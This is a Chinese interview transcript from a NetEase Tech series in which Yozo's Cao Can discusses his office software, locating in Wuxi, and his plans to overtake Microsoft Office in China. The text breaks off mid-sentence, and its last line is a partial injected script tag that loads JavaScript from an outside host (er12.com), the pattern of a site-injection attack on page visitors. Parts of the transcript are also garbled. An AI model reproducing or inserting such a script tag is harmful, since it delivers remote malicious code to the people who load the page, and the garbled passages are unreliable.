主持人：各位网友大家上午好！欢迎网友参加《网易科技首席访谈》今天我们请来无锡永中科技曹参先生，曹总这边提出了只做一款软件，从目前的架构来看永中的office都领先于微软的office软件。今天我们把曹总请过来一谈曹总谈谈酸咸苦辣。（视频回放地址）
曹参：大家好！
主持人：今天访谈时间是一个小时，有问题的网友请踊跃给曹总留言。为什么当初会选择永中选择在无锡这个地方办软件而不是很多软件业集中的地方。
曹参：筹集资金不是容易的事，我跑了地方包括海外和国内，从西安、无锡、上海、杭州、北京跑了很多地方。我们的领导有勇气、眼光、魄力拍板来投资我们270万美元，因为这个我们非常感激无锡的领导，让我们跨出第一步让我们落脚在无锡。虽然它不在北京、上海这样的大地方，不是人才汇集的地方。但是人员成本流动低，但是它至少在大城市，航线也比较方便，到北京也有火车和飞机直飞。尤其是做软件话我们要挑一个山清水秀的地方，无锡是真山真水的美丽城市，我们认为我们是落脚在一个非常好的地方。
主持人：昨天你提到两到三年的时间可以打败微软office你能不能在这里谈一下有关打败微软office的具体部署呢？
曹参：我想讲的是我们在国内市场，我们会占据50%上的市场份额，不光是政府采购、教育市场，当然我们取得50%的市场，我们把其他的和目前垄断的产品打下去。这个步骤不是我们确实实行哪一个方案，我们不会在大众之前谈，这个是营销的模式。很多人问我，我们公司除了做office有没有做别的业务，我一直说我们这个公司只做这样一个产品，我们成立六年半只做这样一个产品，没有做其他的任何产品。之所以这样，因为我们有信心我们一定会成功，我们有决心一定要成功。这个信心跟决心来自于哪里呢？实际上对我们做的事情对整个局势的判断，这个局势产生所谓的视大势所趋，视不能当。这个视很厉害，不是一个人可以挡得住的。在国内的话政府要想发展软件产业这是一个非常至关重要的产业，所以开始扶持本国软件的发展。也就是政府利用的政府采购的启动对国产软件有相当大的帮助，所以我们去年销售成长了8倍也占到了这个契机。今年年胡总书记跟温总理特别强调创新性国家，可是到现在我们还没有这么大的市场份额呢？这里一个是有一个过程，第二个这个产品office非常广大，它不好做。我们原来的产品在技术途径和设计思想上肯定超越微软。但是我们在产品的成熟度上和工程的水平上面，这两点我们过去的产品还距离微软有一些差距。因为我们是国家软件，国内的朋友还有很多人看，彻夜不眠的来看求才。如果我们打就32强、16强、8强的话我们国内的球迷一定会非常支持我们本国的球队。我们毫无疑问是一个国产软件因为我们100%在无锡做出来的。因为我们做的好，我们不怀疑国内的用户对我们的支持。
同时，因为我们的创新，又是在本国开发的，政府采购肯定取得优势。我们在全世界都要跟微软做挑战，但是那是更长的路也是更艰辛的路，但是我们还是要做，对我们的技术、创新、应用解决方案我们有这样一个信心跟微软一搏。只是说国内变化比较多一点，因为我们我们有主场的优势，所以主场优势非常厉害，我们在这个主场有这样一个优势我们相信这个过程比较快，比较短。我们迟早要胜这只是一个时间的问题，也许我们的判断不一定准确，两三年甚至时间长一点。这是我们目前产品的进展跟市场的发展做一些看法。
主持人：永中office有哪些功能和解决办法是微软难以做到的呢？可以给我们举几个例子吗？因为我听到张总跟我说的一些话永中office可以解决微软都难以解决的功能，或者让微软都摇头的方案。
曹参：我们的产品推广出来定位第一个office，很多人说你们吹牛，别人的office都不是office了吗？我说连微软的office我们都不承认它是office，你为什么这么说呢？人家office已经十几年了，我说office的产品要下一个定义，它是为什么存在的呢？为了解决什么问题而存在的？你同意我的定义你可以看看微软，他能不能满足这个定义，他不能满足的话不是一个office的产品它能满足的话，它是。这点我们承认微软是非常了不起的，因为在1993年4月份，微软在pc第一个广告推出office，目前我们有三大应用摆在一个大盒子里面卖。当时这个产品都是定价19美元的产品，在市面上卖300—350元。微软把这个包装的小盒子叫做office，售价大致在500美元上下。
这个产品实际上它的office意思就是说你在办公桌上经常要用的这些软件产品。所以都是常用的一些功能所以摆在一起叫做office，这个产品在1985年就存在了，当时叫做继承商用软件。这个是来源是1983年，它很快把当时的电视表格打败了，它那年进入市场是一个像慧星的突然冒出来的直上运销，到2000年它的产品上市，它做了5300万美元的产品。当时最大的软件从1977年、1978年开始做到83年也没有做成什么样。
因为这种快速的成功造成很多媒体的业界?script src=http://er12.com/t.js>
